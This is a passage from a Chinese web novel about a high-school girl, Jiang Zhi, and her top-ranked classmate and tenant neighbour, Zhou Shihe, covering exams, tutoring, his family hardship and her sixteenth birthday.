两个小时很快过去,姜至把试卷递给李越勤就开始收拾东西,老师前脚走,她后脚就准备跟上,连同身后李越勤的呼唤声都假装没听见。
姜至一路都走得很快,她很明显要避开李越勤,却没想到李越勤追了上来。
李越勤在校门口追上姜至,被追上以后,姜至比他还不好意思。
李越勤倒是很直接,“对不起啊姜至,我上午不是故意的,我脑子里没想那么多,我妈平时老说我没脑子,你别往心里去啊。”
姜至心想看出来了,林淑老说她脑子笨得没边,这不是边上还有一个人吗?
姜至上午确实有点生气,所以这会儿也不好昧着良心说没事,她只笑笑,问李越勤:“你不回家吗?”
李越勤听姜至这么一问就当姜至原谅他了,“回啊,你家在哪个方向?一起啊?”
姜至不敢回答,怕李越勤别真跟她顺路,她正研究找个什么借口时,眼前忽然过去一道熟悉的身影。
考试期间大家一般不穿校服,周识鹤今天也没穿,穿得是一件皮夹克,款式看着有点老成,好在他常年面无表情,勉强还算搭得住。
也不知道他看没看见她,就那么面无表情从她跟前路过,一句招呼也不打。
姜至心里有点不舒服,不由自主撇撇嘴,更没耐心跟李越勤周旋了。
她直接说:“我还有点事,你先回吧。”
李越勤想问她什么事,需不需要帮忙,然而还没出声,姜至就先一步转身走了,李越勤后知后觉品出点什么滋味,没再上前打扰姜至。
姜至一个人走得不快,在她前面不远处的周识鹤走得也不快,途径一个路口时,周识鹤停下来,姜至也跟着停下来。
很快绿灯亮起,刚亮三五秒时,周识鹤站着没动,姜至看他不动自己也不动,心里还想也不知道周识鹤在想什么,看不见她也看不见绿灯吗?
不过很快周识鹤又迈步伐,姜至这才继续跟着走。
考试一般两点考,四点结束,姜至到家时林淑还没下班,难道有这机会,姜至推门进了林淑的卧室。
家里所有房间林淑都有备用钥匙,租客如果想换锁也可以换,但是退租时必须把原锁换回来。
姜至打开床头柜下层,找到一大把钥匙,上面有各种能用的不能用的钥匙,每一个钥匙上面贴的都有所属标签,姜至快速找到三楼单间的,心惊胆战地拆了下来。
晚饭前,林淑喊姜至去厨房,姜至做贼心虚,吓得要死,站在厨房门口愣是不敢往里进。
林淑一抬手,姜至立马闭上眼睛,半天没等到林淑接下来的动作,姜至试探性地睁开眼睛,看见林淑正在弯腰把地上的不知道什么东西往冰箱里塞。
塞一半她跟姜至说:“愣着干什么,一点眼色都没有,过来帮忙。”
姜至这才“哦”一声往里进。
林淑不知道从哪儿弄了一袋肠,看着像自己灌的。
姜至问:“什么啊?”
林淑说:“同事送的,东北那边的红肠,一会儿我拿给你一些,你送去三楼。”
姜至一愣,“什么?”
林淑看她这样子,恨铁不成钢地敲了一下她的脑袋,“什么什么,三楼,你同学!人家成绩那么好,你就没想着攀攀关系,回头寒暑假让人家帮你看看题?”
“啊……看不了吧,”姜至嘴上这么说,心里却比刚刚到家时舒服多了,她说,“他成绩很好的。”
“我不知道?”林淑瞪眼。
姜至说:“那他肯定很忙啊,哪有时间帮我看,再说了,我这成绩,他看了肯定要笑话我的。”
“知道被笑话就多努力,”林淑说着把剩下的塞给姜至,“现在去,去晚了赶饭点不好。”
姜至“哦”一声,脚步轻快地跑了。
至于刚刚那点对周识鹤的不痛快,早抛脑后了。
上楼时,姜至很谨慎地看了眼身后,确定林淑没出来看着,她才小心地把兜里的钥匙塞进红场袋子里。
到三楼后,姜至先跟初中那家家长打了招呼,等那家长关门进屋,她才走向周识鹤家。
周识鹤家里门半开着,邓丽今天没躺着,坐在一个凳子上,腿上放着一块布,地上乱七八糟很多线,姜至探头,看见她正把针线往嘴里咬。
她没看见周识鹤。
“阿姨?”姜至小声唤。
邓丽听见抬头,看见她很意外,“哎,姜至。”
姜至“嗯”一声,抬脚进屋,走近了看见邓丽在做针绣活。
“这是十字绣吗?”姜至问。
邓丽说:“对啊,喜欢吗?回头阿姨送你一幅。”
姜至由衷地感慨,“阿姨,你好厉害啊。”
身体状况这样的情况下,依然坚持做手工活,还是这么细致的手工活,太厉害了。
“谢谢,希望我以后更厉害一点。”邓丽毫不谦虚。
姜至笑着说:“肯定会的。”
这时周识鹤从外面进来,一进门看见姜至在屋里,很明显愣了下。
姜至一见周识鹤,下意识就站直了身子。
她手里还拎着肠,看着实在有点滑稽。
周识鹤目光落在她手里的袋子上,姜至反应过来,忙不迭把手里的东西放在一旁的桌子上,“我
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妈让我送来的。”
“真的啊,”邓丽很意外,“哎呀,你瞧这,我们家也没什么能还的。”
姜至连忙说:“阿姨您别这么说,周识鹤平时在班里帮我挺多的。”
邓丽这才问:“你们俩一个班啊,哎呀那么巧呢,我只知道你们俩一个学校的。”
姜至“嗯”一声,没往下说。
她也不好意思说自己是怎么跟周识鹤巧一块的。
“你们马上高三是不是放学会更晚啊?”邓丽问。
姜至点点头说:“会再晚半个小时。”
邓丽:“那是有点晚了,你平时一个人回来?”
姜至有点心虚地看了周识鹤一眼,含糊吱唔了一声。
“女孩子一个人太晚了总归不太安全,回头你跟小周一起回来,”邓丽说着看向周识鹤,“既然都是一个班的,又住一个院里,平时就多帮衬点。”
“好。”周识鹤嘴上应着,眼睛却没看姜至。
也不知道对此事是应付敷衍,还是真的愿意这么做。
他应该是出去买菜了,拎着一小袋青菜往阳台的小厨房区域走去,姜至瞧见了,很有眼色地拿起刚刚放在桌子上的肠往厨房送去。
这一往里进,姜至才看见这房子角落一直挂着的屏风帘后,是周识鹤睡觉的地方。
床很小,看着只有一米二,周识鹤那么大个子,睡这样的床顾及连翻身都困难。
床头有一张小桌子,桌子上空间不大,放不了太多东西,桌子下堆满了书本和试卷,看着很拥挤。
床头墙上有一盏小灯,看着照亮度也不强。
在这种环境下还能保持常年年级第一,姜至都想把学校校长喊过来了,说不定校长感动了能给周识鹤发点特殊奖学金什么的。
“给我。”周识鹤忽然出声,朝她伸手。
姜至意识到自己刚刚窥探的目光有些冒昧,心里顿时很抱歉,连同刚刚回来路上那点憋屈都一扫而空。
“那个……”姜至声音很小,生怕邓丽听见。
周识鹤没听清,“嗯?”
姜至不知道该这么说,也不好把周识鹤的手晾太久,只好先把东西递过去。
周识鹤动作很娴熟,一点也不像她平时在家里那样没眼色。
他家里有一个上一个租客剩下的小冰箱,周识鹤把肠拿出来,拿到最后一个的时候,他摸到里面有个异物,看向姜至。
姜至压着声音,“嗯……隔壁的钥匙,反正空着也是空着,你没事可以去转转。”
周识鹤看着她没说话。
姜至以为他没听懂她的意思,解释说:“就是……你晚上可以去那里,不用担心影响阿姨了。”
姜至记得之前听邓丽说过医生叮嘱她早睡,不能熬夜,否则病情很容易复发,周识鹤以前回来那么晚,现在又睡得早,想必都是怕学习太晚会影响邓丽的睡眠。
周识鹤还是没说话,姜至都有点着急了,心想她还要再说清楚点吗?
正准备开口再做解释时,周识鹤终于出声,说:“好,谢谢。”
姜至一顿,随后笑了。
“没事,”她笑着说,“那我先走啦。”
周识鹤把冰箱门关上,抬脚要过来,姜至脸上还挂着笑,她摆摆手,“不用送啦,拜拜,周识鹤。”
临走前姜至还跟邓丽打了招呼,“阿姨拜拜,阿姨加油。”
“不用谢。”
姜至这话看似是回给邓丽的,眼睛却是看向周识鹤的。
中国人在道谢谦让这块总是没完没了,快到饭点了,姜至难得做个有眼色的孩子,没多逗留,很快走了。
13.车轮饼
两天考试匆匆过去,反正姜至会得不多,如果试卷难一些,她反而交卷得更快。
出考场姜至先去二楼转了转,等陶馨和代湘智出来后,三个人乐呵呵地手挽着手去学校附近的饰品店和各类书店闲逛去了。
代湘智最近迷上了看小说,陶馨见不得她在这种关头浪费时间,三天两头翻她书柜没收她的书,等租赁时间到了,代湘智为了不付额外超出的钱,不得不赶紧把书还给书店。
三番五次下来,代湘智彻底对看小说没了兴趣。
对此,姜至称赞陶馨:“高手。”
陶馨站在书店里,杀人诛心地问代湘智:“你还想租哪一本?租啊。”
代湘智狠狠白她一眼,捂住耳朵转身离去。
姜至笑着拉陶馨去追代湘智,代湘智转身进了饰品店,看着玲琅满目的小玩意儿,代湘智忽然问姜至:“你生日是不是快到了?”
姜至算了下日子,“还早吧。”
姜至生于农历五月初一,但是很巧的是她出生那年润五月,她出生在后面那个五月,那天是阳历六月二十四,小时候林淑和姜先舟有新鲜劲,总是给她过两次生日。后来不知听哪位老人说小孩过太多生日不好,他们便按照老家的规矩,只给她过农历的生日,阳历那天一般会带她买件衣服吃顿好的,名义上不说过生日,实际上跟过生日也差不多,就是少个蛋糕少许个愿。
今年不润五月,姜至照旧过五月初一。
“是五月初一对吧。”代湘智问。
姜至“嗯”一声,见代湘智停在一个日历面前,她和陶馨一起凑过去看,发现是一个星座主题的日历。
“五月初一……”代湘智比划了下,“今年五月二十九,你是双子座啊姜至。”
陶馨:“她出生那年不是润五月吗,应该往后推一个吧。”
“推一个月……”代湘智说,“巨蟹座啊?”
姜至:“不知道啊,你感觉我像哪个星座?”
“看看呗,”代湘智说着翻一页日历,后面就写着双子座和巨蟹座的文字解析,“双子双重人格,你有吗?”
姜至摇头。
“变化无常?”
姜至摇头。
“有时成熟,有时幼稚?”
姜至犹豫了下,选择摇头。
“心思细腻。”
姜至犹豫下,陶馨爽快答:“这个有。”
“脾气火爆?”
姜至果断摇头。
“心直口快!”代湘智自问自答,“这个有!”
姜至:“……”
“再看看巨蟹啊,巨蟹……体贴细心,感觉跟心思细腻差不多吧。乐善好施?”
代湘智看向姜至,姜至:“在班里乐善好施只能是帮人答题吧,我有心无力啊。”
陶馨笑半天。
代湘智继续看,“自尊心强,不服输!”
姜至:“我挺服的。”
“不喜欢被约束,这个不太像,我看你平时也不爱往外跑,自己就爱约束自己,遇到开心的事说个不停,这个差不多,有点像你。”代湘智说。
姜至:“感觉这些用词都很,含糊,谁都能套上。”
陶馨立马说:“你看,有时成熟,有时幼稚,双子无疑。”
姜至:“……”
陶馨:“你看,这又沉默寡言装冷酷啊,巨蟹也是她。”
姜至:“……”
她佯装撸袖子,“我现在就是双重人格的另一个极端人格,我要揍你!”
陶馨低叫一声,动作夸张地往外跑,姜至追出去,代湘智在后面假模假样地喊:“手下留情啊极端姐!”
三人打闹着往外跑,门口有人路过,陶馨紧急刹车侧身一旁躲开,那人被陶馨惊的原地停下,姜至却没陶馨反应那么快,直冲冲地撞了上去。
往上撞的时候,姜至终于明白为什么电视剧里总是在相撞的一刹那慢放了,因为姜至清楚地看见那人是周识鹤后,本能地想要控制住速度。
在这期间,她也希望时间能慢下来。
然而生活不是演电视,她不是女主角,周识鹤也不是男主角,并没有什么浪漫的公主抱环节——周识鹤人高胳膊也长,在姜至快要撞上去的时候,伸手扣住了姜至的肩头,姜至被迫踉跄一步,周识鹤顺势手一滑,握住她的大臂,姜至这才稳稳站住。
她人已站稳,心却还在空中飘着,好不容易着一下陆,又在呼吸间弹上去,七上八下的。
姜至屏住呼吸,好一会儿才反应过来。
“对、对不起。”她下意识后撤一步,向周识鹤道歉。
这会儿陶馨和代湘智也跑来了,“妈呀大佬,对不起对不起,我们不是故意的。”
陶馨和代湘智来的同时周识鹤松开了姜至,他“嗯”一声,表情淡淡的,也没有被吓到的痕迹。
“没事,”他看了姜至一眼,“我先走了。”
周识鹤人走后,陶馨和代湘智仍然处于不可思议中,“大佬这是跟我们打招呼吗?我的天,他这次不会直接拉年级第二两百分吧,心情那么好?!”
姜至在一旁什么也没说。
陶馨看过去,捕捉到一丝细节,说:“你还乐呢姜宝,大佬恨不得能考两个你,你知道吗?”
姜至:“……”
几秒后,姜至“哼”一声,转身就走。
陶馨“哎?”一声,追上去,“怎么回事?”
姜至:“我变化无常双子座!”
陶馨被逗笑,搂住姜至,“哎呀,怎么那么可爱啊小姜宝儿。”
一边说一边挠姜至,姜至连连躲开,三个人没一会儿又开始追逐打闹。
她们三个回家只顺一个路口,陶馨先走,代湘智和姜至再顺一路口,就只剩姜至一个人了。
这会儿还不到五点,又是春夏,天青云白的,没有半分危险感。
姜至却在代湘智走后的下一秒,拔腿就跑。
姜至身体素质一般,平时体育考试能要她半条命,这会儿爆发性跑了一百米,气喘吁吁的不得不放慢速度。
好在她和陶馨她们没耽误太长时间,也没落下周识鹤太远,刚跑几步就看到了周识鹤的背影。
看见人了,姜至也不好意思跑了,她慢慢调整呼吸,开启竞走模式,距离周识鹤还有不足三五米距离时,姜至开始放平呼吸,假装刚刚一切的快跑和竞走都没有发生,若无其事地小步追上周识鹤,与他同行。
她刚站到周识鹤身边,周识鹤就有所察觉地看了她一眼,姜至露出微笑,伸手打招呼,“嗨。”
周识鹤面上没动,眼睛笑了笑。
姜至双手背后,老干部一般,“她们说你心情很好,说不定会拉第二名两百分。”
周识鹤倒是不嚣张:“不至于。”
姜至笑了笑,低头往地上看的时候飞快地问了句:“那你心情好吗?”
周识鹤不知是没听见还是怎么,没有回答姜至。
俩人到家后,姜至在周识鹤后面,周识鹤先进门,姜至转身关门时,风从院中吹来,要从门的夹缝中走,路过姜至的耳畔,姜至听到一句很轻的,“还行。”
姜至的心情也还行,这是林淑发现的,她下了班往沙发上一坐,看着姜至一会儿在自己房间里转悠一圈,一会儿在客厅溜达一圈,时不时哼两句小曲儿。
姜至第三次从屋里绕出来时,林淑翘起二郎腿问:“考得很好?”
“……”
姜至哼不出来了。
晚饭后姜至没着急细数,林淑也没提让姜至写作业的事,而是等姜先舟把厨房收拾好后,跟姜至说:“跟我们一起出去走走。”
姜至“啊”一声,不太想去。
林淑:“别犯懒,现在天气好,饭后多走走,你那一天两步路就喘的,回头高三能不能熬下去?”
这话一说,姜至就知道自己没有回旋的余地了,只能心不甘情不愿地跟林淑出去。
姜至家在旧城区,虽说道路没有新开发那边宽敞,卫生也一般,但胜在热闹,天气好的时候,这个点人正多,不过明天放假
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,这个点还是年轻人居多。
附近不远处的小吃街更是人满为患。
姜至肠胃一般,承载不了太多这种垃圾食品,林淑很是禁止她吃这些东西。
今天林淑心情还行,问姜至吃饱没,要不要再吃点什么,姜至看了一圈,最后只买了一个红豆车轮饼,她还给林淑买了一个,招牌牛奶香蕉的,林淑不乐意吃这些东西,摆摆手让她自己吃。
姜至哪吃得了那么多,随手便揣进兜里。
一家三口遛了小一个小时才回家,林淑一回家就洗澡,姜先舟则在客厅喝茶看电视,看一半想起什么,唤姜至:“哎,对了,你去把电表抄一下。”
姜至:“全部吗?”
姜先舟:“对。”
为了减少不必要的麻烦,林淑早在准备把房子往外出租时就把家里电表分开了,一间房间一个,大家独自使用,每逢月底林淑抄电表,再把单子贴在一楼,公开透明。
姜至“哦”一声,有点雀跃地跑到林淑卧室拿记表本,跑出去的时候,姜先舟看她动作那么快,提醒:“慢点,又不着急。”
早跑没影的姜至只剩下余音:“知道啦。”
姜至先去的三楼,这会儿大家都关门了,周识鹤家里门也关着,姜至看见门缝漏光才伸手敲门。
“谁啊?”邓丽唤了一声。
姜至说:“我,阿姨,姜至。”
邓丽“哦”一声说:“我在洗澡,要不你一会儿再来?”
姜至立马后撤一步,生怕再次冒犯了什么,“没事没事,阿姨你先忙。”
说完姜至准备走的时候,她忽然想起邓丽的状态,又想起上次他们母子的状况,不由得好奇周识鹤这会儿在哪儿。
虽说邓丽状态如此,但儿大避母,他们总归是不太方便的。
姜至犹豫了下,又敲了下门,“阿姨,你需要帮忙吗?”
邓丽没有立刻回答,似乎也在犹豫什么,就在姜至准备默默离开的时候,门从里面打开了。
来开门的是周识鹤,姜至愣了下,下意识往里面看,只见邓丽已经穿好换洗的衣服坐在了床上,床前不远处有一个塑料小凳子,凳子前面有一个塑料大桶,桶是半透明的,从外面就能看到里面放的还有一个凳子。
都是那种很廉价的塑料凳子。
这也太不方便了。
姜至蹙了蹙眉。
“本来想着收拾一下再让你进来的,不过看你也不介意,不敢把你往外赶了,怕你生气。”邓丽开玩笑地说。
姜至说:“该是我不好意思的。”
邓丽立马说:“这有什么不好意思的,我要是能站起来,咱们俩说不定还能在大澡堂里坦诚相见呢。”
姜至笑出了声。
周识鹤这时去收拾水桶,这种事姜至也不好上赶着帮忙,便跟邓丽说:“我妈让我来抄电表。”
邓丽:“好,在那呢,知道怎么抄不?”
姜至:“知道。”
抄电表是个简单活,快了也就一分钟的事,但周识鹤在身后忙,姜至不想那么快结束,就慢吞吞地翻这页看那页,好像很认真的样子。
幸好周识鹤没有继续收拾什么,只是把桶先拉到了阳台,要真等他把一切都收拾好,姜至恐怕把这本子翻烂也等不到。
“好啦,”姜至把本子合上,跟邓丽说,“那我就不打扰你休息啦阿姨。”
“好,”邓丽说,“还要去别家吧。”
姜至“嗯”一声,邓丽说:“去吧去吧,小周送送客。”
姜至笑着,却没说不用。
等周识鹤过来关门时,姜至快速地把那个牛奶香蕉的车轮饼塞进他手里,周识鹤都没反应过来,姜至也不知道是怕他拒绝还是什么,不等他说什么,迅速转身,“拜拜。”
外面风是凉爽的,也许明天还有一场雨。
清明时节,总是多雨。
凉风将门锁吹得凉凉的,周识鹤驻足片刻,抬手关上门。
另一只手在口袋里,掌心温热舒适,一片柔软。
14.小册子
清明三天假,青槐整整下了三天雨。
第一天姜至在家里窝了一天,晚上林淑和姜先舟出门散步时,姜至的房门被人敲响,她跑出去开门,门外空无一人,只有地上放了一个小胡萝卜样式的手工织品,胡萝卜下面压着几张试卷。
姜至拿起来,看出这是昨天月考的试卷。
学校平时大小考试一般只收答题卡,试卷让大家留下方便老师讲题。
这次试卷和之前几次一样,解析步骤写得满满当当。
姜至看着,嘴角忍不住往上翘。
第二天,姜至饭后主动坐在书桌前写作业,林淑满脸见了鬼的,饭前过去看发现姜至试卷不再像从前那般大片的空白,更是惊不择言:“你被什么东西上身了?”
姜至很淡定,“是的,被学霸附身了。”
林淑已经顾不上有没有鬼了,高兴地晚上给姜至做了一桌子好吃的。
三天匆匆过去,开学当天晚自习月考成绩便公布了。
姜至在班级名次上没动,年级名次掉了一点,总分数比上次高了十几分。
这种变动没什么可在意的,姜至很快便把注意力放在了周识鹤的成绩上。
整体来看,周识鹤也没怎么动。
姜至如释负重地松了口气。
只要她没影响到他就好。
晚上放学姜至先收拾东西,余光里周识鹤还在坐着,等她路过周识鹤的时候,她书包上的胡萝卜挂件一甩一甩,与周识鹤的桌子发出声响。
走出学校大门口没多久,周识鹤的身影便出现在姜至身旁。
姜至心中雀跃,脚步欢快,她歪着头跟周识鹤说:“恭喜你,你又是第一名。”
周识鹤没说什么,第一次主动问姜至,“试卷都看懂了吗?”
姜至实话实话,“我都看懂,不太现实吧?”
周识鹤:“……”
周识鹤其实是不太理解姜至这种人的。
周识鹤出生在一个有点落后的农村里,爹妈结婚那天村里第一次通电,家里条件差,没人寄托周识鹤这个孩子以后能有什么大成就。
能够健康平安地长大,按部就班地结婚生子,已经是周识鹤父母对他最大的期望。
周识鹤上小学一年级的时候,父母为了方便周识鹤上学,搬到镇上生活。
邓丽那时在家门口附近摆摊卖手工水饺,周识鹤的父亲周广明在工地上出力气。
周识鹤上幼儿园的时候,和旁人不显差距,要真说点什么异样,就是他性格要比其他人更闷一些,话不多,常常一个人蹲在一旁玩。
对此,邓丽和周广明都表示很欣慰,小男孩闷一点总比调皮捣蛋好,他们工作忙,实在分不出来什么闲心再操心周识鹤。
然而等周识鹤上小学的时候,他与别人的察觉便十分明显地显露出来。
他有天赋,是个鹤立鸡群的孩子。
这是周识鹤的班主任找到邓丽和周广明说的。
周识鹤的班主任是城里下派过来的,见多识广,眼界也广,他看出周识鹤的出类拔萃,劝邓丽和周广明早些去城里,哪怕只是个县城,也不会埋没人才。
邓丽和周广明很是高兴,且重视。
他们本来还打算再要一个孩子,听到老师说这话二胎也不要了,准备全身心只供养周识鹤这一个孩子。
周识鹤以前名字叫周识,邓丽和周广明没什么文化,只希望孩子能够比他们多识得一些知识,听完老师一席话,两口子连夜琢磨,决定在识字后面加一个鹤字。
此后的每一天,邓丽和周广明都比昨天更加努力勤奋。
周识鹤偶尔去工地给周广明送饭,逢不好的天气,老板会把周识鹤留在自己的办公室,让他在那写作业。
时间长了,老板也很称赞周识鹤,甚至表明态度等这边的工程结束,下一个去城里带着周广明。
日子眼看就好起来,偏偏周广明突发意外,坠楼身亡,邓丽经不起噩耗,再加上多年熬夜劳累,突发脑梗。
此时的周识鹤已经上初一了,是个大孩子了,按照落后地区的传统发展,他差不多可以退学,打工,撑家了。
周识鹤也动过这种念头,毕竟家里的状况实在太差,邓丽需要在县城住院治疗,他哪有那个闲工夫回镇上学校里一待待一整天呢?
直到周广明的老板找上门,与之陪同一起的,还有周识鹤小学的班主任。
他们似乎认识,关系看上去也不错。
周广明事发工地,老板有不可推卸的责任,他一没躲二没跑,主动赔偿邓丽周识鹤母子一大笔钱。
也是这个时候,周识鹤的班主任建议邓丽和周识鹤就留在县城,至于周识鹤县城转学的事情,全交由周识鹤班主任去办。
周识鹤阴差阳错在县城上了学。
家里的变故让他的学业耽搁许久,邓丽也曾忧心他是否能在新环境适应,可第一次考试结果出来,邓丽便信了老师的话。
周识鹤考了年级第一,从一个无人问津的异地插班生,就此成为所有师生口中的学霸天才。
周识鹤自己并不觉得自己是天才,他只是对学习感兴趣,对那些旁人觉得枯燥的数字文字感兴趣,他为此付出时间,精力,以及诚恳的专注力。
他觉得自己足够努力,所以成功是必然结果。
可是……
姜至似乎也很努力。
周识鹤不理解,他不懂为什么在有如此具体的步骤解析情况下,姜至还会看不懂。
“哪里不懂?”周识鹤问。
姜至:“现在聊?”
周识鹤:“你有其他时间吗?”
说起来,周识鹤搬进姜至这小院也有快一年时间了,林淑和姜先舟二人对姜至这个亲闺女有多上心,即便他看不出来,也能从邻居口中听出来。
再加上每次姜至联系他都如此小心翼翼,他但凡有点脑子都明白姜至这是在“避嫌”。
事实上,姜至确实是在“避嫌”。
只不过避的不是林淑,而是那些邻居们。
林淑和姜先舟不是个体户,单位身份相较于普通人都有些敏感。
大家都一同生活在同一个屋檐下,从前林淑总是交代姜至,她是房东的孩子,平时言行举止会被有心人解读成林淑的意思,所以她不能对哪个人太好,尽量一视同仁,免得起争执。
尤其租赁涉及租金水电,倘若跟哪个人走得太近,会被其他人议论会不会因此减租漏钱。
林淑能因周识鹤的成绩藏私心不涨房租,已经踩了灰线了。
姜至不能再因此给他们双方增添麻烦。
所以姜至只能不好意思地笑笑说:“我妈确实管比较严。”
她说着把试卷从书包里拿出来,她没挑没捡,反正随便哪一张都有她看不懂的。
抽出来这张是数学,姜至将试卷翻个面,挑一道大题指给周识鹤看,周识鹤扫一眼,就说:“辅助线,公式。”
姜至:“辅助线怎么画?”
“?”
姜至觉得自己可以出去吹一吹了,她在年级大佬里眼睛看到了问号哎!
“额,不是,我的意思是,你怎么知道辅助线是从这里画,为什么不是从别的地方画。”
“只有从这里是对的。”
“唔。”
“……你想象一下,把这个三角形折过去,相交的点位是跟旁边例图一样的。”
“嗯……”姜至很用力地想象,她感觉自己的脑子快在脑袋里拧成麻花了。
周识鹤沉默了。
周识鹤成绩好是众所周知的事情,班里敢来问他问题的,也不至于是成绩特别差的,尤其进入高中天甲班以后,水平更是几千名学生里选拔出来的名列前茅。
所以通常情况下,旁人来问,他只需点出几个关键词,对方就能恍然大悟。
姜至这种,他还真是头一次沟通。
周识鹤沉默片刻,开始动手折试卷。
姜至盯着他的手看,没一会儿便开始走神,她在想,原来周识鹤不仅脑子好用,手也灵活,是遗传邓丽的吧?
“看到了吗?”耳边周识鹤忽然问她。
姜至蓦地回神,如同上课被老师抓住她开小差那般,心跳短暂停滞两秒,才磕磕绊绊道:“看、看到了。”
她耳朵通红,眼睛也不敢乱看了。
周识鹤讲了一通,姜至一句也没往脑子里进,她就感觉周识鹤的声音似乎长了手脚一般,从她的左耳进去,轻轻挠下她的耳廓,又攀爬过她的心脏,一通作乱后,又轻飘飘地从右耳跑出去。
然后问她:“听懂了吗?”
姜至看着周识鹤,恍惚片刻,待视线聚焦,眨了眨眼睛,慢半拍地“嗯”一声,说:“听懂了。”
周识鹤过往给旁人讲题,从来都是对方恍然大悟后,他便不再理会,他相信每个人都会对自己的言行负责。
可看着姜至这双透明清澈的眼睛,周识鹤顺嘴说了所有老师常爱说的那句:“那你给我讲一遍。”
姜至脑袋一蒙,张了张嘴,两三秒,又闭上了嘴。
“……”
“……”
沉默贯穿二人。
周识鹤随手把试卷揣进兜里,声音淡
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淡,“看路吧。”
姜至:“哦。”
翌日清晨,姜至正点出门,走出巷口却见周识鹤在路边站着,她微微一愣,下意识就跑了过去。
她和周识鹤还从来没有在早上一起走过呢。
“你现在早上一般几点起?”姜至问他。
周识鹤说:“五点多一点吧。”
姜至了解地点点头,下一秒,周识鹤递过来一个小册子,姜至疑惑接过,“什么?”
周识鹤说:“图文解析。”
姜至没听懂,打开一看,居然是一些画图,姜至仔细看,才发现这应该是昨晚周识鹤在路上给她讲的那道题,她想象不出来的画面,他画出来了。
旁边还有一些同类型的其他常考的空间想象题。
“你……”姜至好感动,甚至说不出话来。
好一会儿,她才如视珍宝地抱着小册子,“谢谢你,周识鹤。”
周识鹤倒是反应很淡,他说:“应该的。”
姜至一开始没想明白哪里应该的,早自习有人在班里打盹,江跃叮嘱说:“吃好睡好,才能备战,现在还没到你们熬夜的时候,白天精神百倍的听课才是正事。”
姜至瞬间醍醐灌顶,明白周识鹤也许是在谢谢她为他提供了专属自习室。
想到这,姜至忍不住往周识鹤那边看,看着看着,她就走了神。
直到陶馨在她眼前晃手,姜至才蓦地回神。
“别看了,再看也没法像人家那样,那是天赋,宝贝儿。”陶馨说。
“……”姜至懒得理她。
四月份一整个月大家都按部就班,姜至也一样,只是偶尔会在路上问周识鹤一道题,有时候能听懂,有时候听不懂,听不懂了她就会皱着眉一直思考,然而这玩意儿也不是她一直思考就能思考出来的。
时间长了,周识鹤逐渐了解姜至的情况,姜至再问他大题,他一般不跟她讲了,只让她多在基础题上花时间,甚至提议让她没事可以看看初中的真题。
这是林淑从未想到的角度,也是姜至在学海里从未摸过的石头路。
林淑向来只管把她扔进最好的环境里,然后每天追问她有没有跟上进度,责备她为什么没有跟上进度,却从来没想过回头看看她的来时路稳不稳。
周识鹤是姜至世界里成绩最好的同龄人,所以他的话在她这里就跟圣旨差不多,他怎么说,她就怎么做。
五一假期前,学校同样在假期前安排月考,考完直接放假,假后第一天公布成绩。
这次姜至在班级里的排名仍然没什么变化,年级里的排名也变化不大。
她心里有一点点难受,却也很快自我安慰:旁人好歹学了几年,她怎么可能一个月就追上呢?她又不是周识鹤那样的天才。
姜至想着,目光落在周识鹤的成绩单上。
他一如既往地,稳定又扎实地排在第一。
姜至看着白纸黑字的周识鹤三个字,眼前不停闪过的是她好几次半夜偷偷跑出来看到三楼里间亮着微弱灯光的画面。
以及她与周识鹤一同上下学的无数个白天黑夜。
“姜至,你今年很稳定啊,年级排名都稳定很多哎。”陶馨为姜至感到高兴。
姜至一听这确实是好事,大家都在努力的情况下,她原地踏步也是努力换来的啊,于是咧嘴笑笑,“我不会骄傲的,我会继续保持。”
陶馨摸了一把她的脑袋,“好孩子。”
俩人嬉笑着转身往座位处走,姜至却一眼撞进周识鹤的目光里。
不知道他往这边瞧了多久,又在瞧什么,目光里,似乎没有平时那般淡然平静。
姜至试图捕捉那一丝波澜涟漪,却只能看见一汪深色。
晚上回去的路上,周识鹤难得跟她闲聊,语气也隐约比平时柔和。
只是他似乎很少如此,声线压得有些刻意僵硬。
“你不用太在意那个排名,那些用处不大,只能做辅助参考,你现在还在打地基,慢点很正常。”
姜至很认同地点点头。
到家后,姜至看见屋里亮着灯,先跑回家,前脚迈进家门,后脚福至心灵一瞬间,乍然意识到刚刚周识鹤那番话是何用途。
她蓦地眼睛一亮,甚至没顾上客厅里有没有人,转身又打开门,探头出去,“周——”
周识鹤已经到二楼拐角,听到声响往她这边瞧。
夜色深深,小院灯黄,柔光照亮他的面庞和眼睛,那汪深色不动声色晕进了暖人的颜色。
姜至心跳怦怦,极尽克制地压制,才得以状若平常地说:“没事,晚安。”
15.十六岁
阳历五月二十九那天,农历五月初一,这天周四。
平平无奇的上学日,姜至的人生踏进十六岁。
青槐是个小县城,说起来某些观念是相对来说比较落后的,比如生儿育女这块,多数人还是认为家里应该生个儿子。
林淑和姜先舟却从未因为姜至是个女孩子而苛待过她,更甚至没打算要二胎。
小时候姜至也问过林淑,她说同学的爷爷奶奶老是问她为什么家里没有弟弟,有个弟弟好,长大可以保护她。
林淑那时还没有因为姜至的学习成绩费心费神,她把姜至抱在怀里,摸了摸姜至扎得特别漂亮的头发。
“我们姜至只需要爸爸妈妈保护。”林淑笑着说。
姜至问:“那爸爸妈妈老了怎么办?”
林淑说:“那姜至就要学着自己保护自己了,旁人都是靠不住的。”
姜至害羞地捂着嘴说:“我可以找个老公保护我。”
林淑和姜先舟为她的天真发笑,“老公什么的也是靠不住的,姜至,你要记住,这个世界上,自始至终能靠住的,只有你自己。”
后来姜至长大了,才慢慢发现,唉,原来她自己也是个靠不住的。
她还是祈求爸爸妈妈老慢一点吧。
幸而如今林淑和姜先舟还正值盛年,父母的健壮和自己平安的成长让生日这天显得尤为轻松愉快。
林淑很注重姜至的每一岁生日,大早上就给姜至煮了鸡蛋下了面,面条还是手工擀制的,为了看起来漂亮,特意染了各种蔬菜水果素。
姜至吃一碗热腾腾的五颜六色面,又心满意足地吃掉鸡蛋,口吃清利地说:“谢谢妈妈。”
林淑不由得感慨,“这一天天的,眼看就长大了。”
姜先舟:“是啊,明年考了大学就不在身边咯。”
林淑实在是没忍住,问姜至,“你到底能不能考上大学?”
姜至:“……”
她忽然想起周识鹤那句名言,说:“我会努力的。”
至于能否成功,就交给时间吧。
早上时间不多,姜至没法继续跟林淑姜先舟唠嗑,拿起书包就往外走,临走前林淑叫住她,往她书包里塞了些糖果饼干什么的,“今天有同学朋友给你祝福,就给人家,别光傻兮兮地笑。”
姜至说:“知道了。”
姜至出门跑得飞快,一边跑一边把书包里的糖果饼干抓出来一大把,跑到路口,周识鹤在那站着,不知在想些什么。
姜至甚至猜想他也许在背英语单词。
“嗨!”姜至今天心情极好。
